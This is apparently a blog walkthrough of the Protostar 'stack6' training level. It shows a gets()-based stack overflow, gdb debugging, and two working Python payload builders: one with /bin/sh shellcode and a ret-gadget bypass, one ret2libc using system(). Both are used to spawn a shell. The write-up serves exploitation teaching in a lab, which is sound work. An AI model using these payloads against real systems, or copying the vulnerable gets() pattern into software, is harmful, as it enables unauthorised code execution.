Stack6 looks at what happens when you have restrictions on the return address.
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void getpath()
{
char buffer[64];
unsigned int ret;
printf("input path please: "); fflush(stdout);
gets(buffer);
ret = __builtin_return_address(0);
if((ret & 0xbf000000) == 0xbf000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}
printf("got path %s\n", buffer);
}
int main(int argc, char **argv)
{
getpath();
}
This level can be done in a couple of ways, such as finding the duplicate of the payload (objdump -s will help with this), or ret2libc , or even return orientated programming.
We first find try to trigger SIGSEGV, let’s run the program in gdb
and give it our alphabet, let’s make the alphabet.
user@protostar:~$ echo "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ" > alphabet.txt
Now we feed it through gdb
.
(gdb) r < /home/user/alphabet.txt
Starting program: /opt/protostar/bin/stack6 < /home/user/alphabet.txt
input path please: got path AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPUUUURRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ
Program received signal SIGSEGV, Segmentation fault.
0x55555555 in ?? ()
Looks like 0x55555555
(translates into UUUU
) is where the return pointer (pushed eip
) should be, now let’s set a breakpoints right before getpath()
returns back to main()
:
(gdb) disas getpath
Dump of assembler code for function getpath:
...
0x080484f9 <getpath+117>: ret
End of assembler dump.
(gdb) b *0x080484f9
Breakpoint 1 at 0x80484f9: file stack6/stack6.c, line 23.
Let’s run it.
(gdb) r
Starting program: /opt/protostar/bin/stack6 < /home/user/alphabet.txt
input path please: got path AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPUUUURRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ
Breakpoint 1, 0x080484f9 in getpath () at stack6/stack6.c:23
23 in stack6/stack6.c
(gdb) x/24wx $esp
0xbffff79c: 0x55555555 0x56565656 0x57575757 0x58585858
0xbffff7ac: 0x59595959 0x5a5a5a5a 0xbffff800 0xbffff85c
0xbffff7bc: 0xb7fe1848 0xbffff810 0xffffffff 0xb7ffeff4
0xbffff7cc: 0x080482a1 0x00000001 0xbffff810 0xb7ff0626
0xbffff7dc: 0xb7fffab0 0xb7fe1b28 0xb7fd7ff4 0x00000000
0xbffff7ec: 0x00000000 0xbffff828 0xffecd58d 0xd5bbc39d
Now we can see the address of the eip
that is about to be popped is at 0xbffff79c
, now let’s try and make the payload.
// payloadbuilder.py
import struct
filler = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT"
addr_to_nops = struct.pack("I", 0xbffff79c+50)
nopsled = "\x90"*100
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
print filler + addr_to_nops + nopsled + shellcode
Let’s output it into a file.
user@protostar:~$ python payloadbuilder.py > payload.txt
Then we run it in gdb
.
(gdb) r < /home/user/payload.txt
Starting program: /opt/protostar/bin/stack6 < /home/user/payload.txt
input path please: bzzzt (0xbffff7ce)
Program exited with code 01.
Looks like we got into the “if” clause in the source and the program exited immediately. After watching this video, it turns out that we can’t jump to an address that starts with 0xbf
, so a neat trick, is that we jump to the ret
instruction.
How this works is that:
0x080484fa
)Because our ret
operation is a piece of code, it is stored around on top of the memory, so we won’t fall into the “if” clause because our address won’t start with 0xbf
.
Why jump to a ret
operation? The ret
operation will pop whatever is on top of the stack into the eip
register, meaning we are going to jump to the address that’s on top of the stack. So the trick is:
getpath()
’s ret
operation
ret
will be operated again, popping another value into eip
Let’s recap some stuff before building the payload
0xbffff79c
0xbffff7a0
) will point to our nopsledsret
operation is at 0x080484f9
So the flow will be something like this:
eip
with 0x080484f9
ret
operationret
will look at eip
, so it will jump thereret
(it’s actually jumping to itself) so it’ll execute it again
eip
now points to our shellcodeLet’s build our payload!
// payloadbuilder.py
import struct
filler = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT"
addr_to_ret = struct.pack("I", 0x080484f9)
addr_to_nops = struct.pack("I", 0xbffff79c+50)
nopsled = "\x90"*100
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
print filler + addr_to_ret + addr_to_nops + nopsled + shellcode
Then we output it into a file
user@protostar:~$ python payloadbuilder.py > payload.txt
Let’s run it in gdb
.
(gdb) r < /home/user/payload.txt
Starting program: /opt/protostar/bin/stack6 < /home/user/payload.txt
input path please: got path AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPP�RRRRSSSSTTTT���������������������������������������������������������������������������������������������������������1�Ph//shh/bin��PS���
Executing new program: /bin/dash
Program exited normally.
Looks promising, let’s try it outside gdb
and also with our cat
trick.
user@protostar:/opt/protostar/bin$ (cat /home/user/payload.txt; cat) | ./stack6
input path please: got path AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPP�RRRRSSSSTTTT���������������������������������������������������������������������������������������������������������1�Ph//shh/bin��PS���
ls
final0 final2 format1 format3 heap0 heap2 net0 net2 net4 stack1 stack3 stack5 stack7
final1 format0 format2 format4 heap1 heap3 net1 net3 stack0 stack2 stack4 stack6
pwd
/opt/protostar/bin
Referring to the hint, there are other ways to do it, let’s try it again but this time with ret2libc technique (also demonstrated in the video mentioned).
In the libc library there are a lot of functions, one of them is the system()
function, a function that can run shell commands. So let’s find out where it is and let’s jump into it
From the video, we can recap the exploit into these steps
__libc_system
function is at/bin/sh
is at__libc_system
/bin/sh
string
system()
function expects whatever is after it’s return pointer to be the string that it will executeBefore we can actually locate anything, we need to know where libc
is, so set a breakpoint somewhere, run the program, then look at the memory mappings
(gdb) info proc map
process 1758
cmdline = '/opt/protostar/bin/stack6'
cwd = '/opt/protostar/bin'
exe = '/opt/protostar/bin/stack6'
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x8048000 0x8049000 0x1000 0 /opt/protostar/bin/stack6
0x8049000 0x804a000 0x1000 0 /opt/protostar/bin/stack6
0xb7e96000 0xb7e97000 0x1000 0
0xb7e97000 0xb7fd5000 0x13e000 0 /lib/libc-2.11.2.so
0xb7fd5000 0xb7fd6000 0x1000 0x13e000 /lib/libc-2.11.2.so
0xb7fd6000 0xb7fd8000 0x2000 0x13e000 /lib/libc-2.11.2.so
0xb7fd8000 0xb7fd9000 0x1000 0x140000 /lib/libc-2.11.2.so
0xb7fd9000 0xb7fdc000 0x3000 0
0xb7fde000 0xb7fe2000 0x4000 0
0xb7fe2000 0xb7fe3000 0x1000 0 [vdso]
0xb7fe3000 0xb7ffe000 0x1b000 0 /lib/ld-2.11.2.so
0xb7ffe000 0xb7fff000 0x1000 0x1a000 /lib/ld-2.11.2.so
0xb7fff000 0xb8000000 0x1000 0x1b000 /lib/ld-2.11.2.so
0xbffeb000 0xc0000000 0x15000 0 [stack]
Now we know libc
is at 0xb7e97000
in memory and at /lib/libc-2.11.2.so
in our files.
Step 1 is pretty simple, we just ask gdb
where the system()
function is, there are a couple of ways to do it, we’ll know it really is a function and not just the string __libc_system
because of the <
and >
.
(gdb) x system
0xb7ecffb0 <__libc_system>: "\203\354\f\211t$\004\213t$\020\211\034$\350\354\332\375\377\201\303\061\200\020"
(gdb) x __libc_system
0xb7ecffb0 <__libc_system>: "\203\354\f\211t$\004\213t$\020\211\034$\350\354\332\375\377\201\303\061\200\020"
Now that we know our system()
function is at 0xb7ecffb0
, time to find the string /bin/sh
, we’ll do step 2 with the help of strings
, grep
, and gdb
.
user@protostar:~$ strings -a -t x /lib/libc-2.11.2.so | grep "/bin/sh"
11f3bf /bin/sh
Here we see 2 switches of the strings
command, -a
searches the entire file, -t x
prints the offset of the string found as hex. So we add this offset with the memory where libc
is located to get it’s actual address in the memory, we do it with gdb
.
(gdb) x/s 0xb7e97000 + 0x11f3bf
0xb7fb63bf: "/bin/sh"
The gdb
command means: examine (x/
) as string (s
) whatever is at 0xb7fb63bf
(which is 0xb7e97000
+ 0x11f3bf
). Now we know the string /bin/sh
is at 0xb7fb63bf
, let’s make the payload!
// payloadbuilder2.py
import struct
filler = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT"
addr_of_system = struct.pack("I", 0xb7ecffb0)
addr_of_binsh = struct.pack("I", 0xb7fb63bf)
print filler + addr_of_system + "AAAA" + addr_of_binsh
Why we made the payload this way is so that:
filler
addr_of_system
system()
function in libc
addr_of_system
into eip
, the system()
function is going to expect the stack to point to it’s return address (but we just filled it with AAAA
), and also expect what’s after the return address to be the string that it will executeaddr_of_binsh
lastThen pipe it into a file.
user@protostar:~$ python payloadbuilder2.py > payload2.txt
Now let’s try it in gdb
.
(gdb) r < /home/user/payload2.txt
Starting program: /opt/protostar/bin/stack6 < /home/user/payload2.txt
input path please: got path AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPP����RRRRSSSSTTTT����AAAA�c��
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
Well, we didn’t get a shell, but we did tried to jump to 0x41414141
which is AAAA
, let’s try it outside gdb
with out cat
trick, and hope for the best.
user@protostar:/opt/protostar/bin$ (cat /home/user/payload2.txt; cat) | ./stack6
input path please: got path AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPP����RRRRSSSSTTTT����AAAA�c��
ls
final0 final2 format1 format3 heap0 heap2 net0 net2 net4 stack1 stack3 stack5 stack7
final1 format0 format2 format4 heap1 heap3 net1 net3 stack0 stack2 stack4 stack6
pwd
/opt/protostar/bin
exit
Segmentation fault
user@protostar:/opt/protostar/bin$
We did get the shell here and as expected we got SIGSEGV because we tried to return to 0x41414141
, though I have no idea why it doesn’t work in gdb
.
But hey, at least we now understand what “ret2libc” is
‹ Previous in Binary exploitation: Protostar - stack5 | Next in Binary exploitation: Protostar - stack7 › |